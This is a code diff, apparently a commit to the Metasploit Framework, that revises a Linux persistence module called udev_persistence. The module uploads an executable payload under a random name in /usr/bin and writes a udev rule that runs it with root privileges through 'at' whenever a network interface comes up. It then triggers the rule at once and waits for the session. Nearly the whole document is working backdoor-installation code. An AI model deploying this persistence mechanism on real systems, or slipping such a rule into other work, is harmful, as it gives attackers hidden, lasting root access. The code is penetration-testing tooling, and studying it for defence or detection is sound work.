Update the module

Author: msutovsky-r7

modules/exploits/linux/local/udev_persistence.rb

@@ -18,14 +18,18 @@ def initialize(info = {})
           It'll be executed with root privileges everytime a network interface other than l0 comes up.
         },
         'License' => MSF_LICENSE,
-        'Author' => [ 'Julien Voisin' ],
+        'Author' => [
+          'Julien Voisin'
+        ],
         'Platform' => [ 'unix', 'linux' ],
         'Arch' => ARCH_CMD,
         'SessionTypes' => [ 'shell', 'meterpreter' ],
-        'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
+        'DefaultOptions' => { 'WfsDelay' => 90_000 },
         'Targets' => [ ['Automatic', {}] ],
         'DefaultTarget' => 0,
         'DisclosureDate' => '1999-01-01',
+        'Passive' => true,
+        'Stance' => Msf::Exploit::Stance::Passive,
         'Notes' => {
           'Stability' => [],
           'Reliability' => [EVENT_DEPENDENT],
@@ -37,33 +41,58 @@ def initialize(info = {})
         ]
       )
     )
-    register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
-    register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
+    register_options([
+
+      OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
+      OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
+    ])
   end
 
-  def exploit
+  def get_command
     unless executable? '/usr/bin/at'
       fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
     end
+    %(/usr/bin/at -M -f #{@payload_path} now)
+  end
 
-    unless writable? File.dirname(datastore['BACKDOOR_PATH'])
-      fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
+  def exploit
+    @payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
+
+    @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
+
+    unless writable? File.dirname(@backdoor_path)
+      fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
     end
-    if exists? datastore['BACKDOOR_PATH']
-      fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
+
+    if exists? @backdoor_path
+      fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
     end
 
-    unless writable? File.dirname(datastore['PAYLOAD_PATH'])
-      fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
+    unless writable? File.dirname(@payload_path)
+      fail_with Failure::BadConfig, "#{@payload_path} is not writable"
     end
-    if exists? datastore['PAYLOAD_PATH']
-      fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
+
+    if exists? @payload_path
+      fail_with Failure::BadConfig, "#{@payload_path} is already present"
     end
 
-    upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
-    print_status "#{datastore['PAYLOAD_PATH']} written"
+    upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
+    print_status "#{@payload_path} written"
+
+    fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))
+
+    print_status "#{@backdoor_path} written"
 
-    write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
-    print_status "#{datastore['BACKDOOR_PATH']} written"
+    # need to trigger first rule manually
+    print_status 'Triggering udev rule'
+    cmd_exec('udevadm trigger -v --subsystem-match=net')
+
+    stime = Time.now.to_f
+    timeout = datastore['ListenerTimeout'].to_i
+    loop do
+      break if timeout > 0 && (stime + timeout < Time.now.to_f)
+
+      Rex::ThreadSafe.sleep(1)
+    end
   end
 end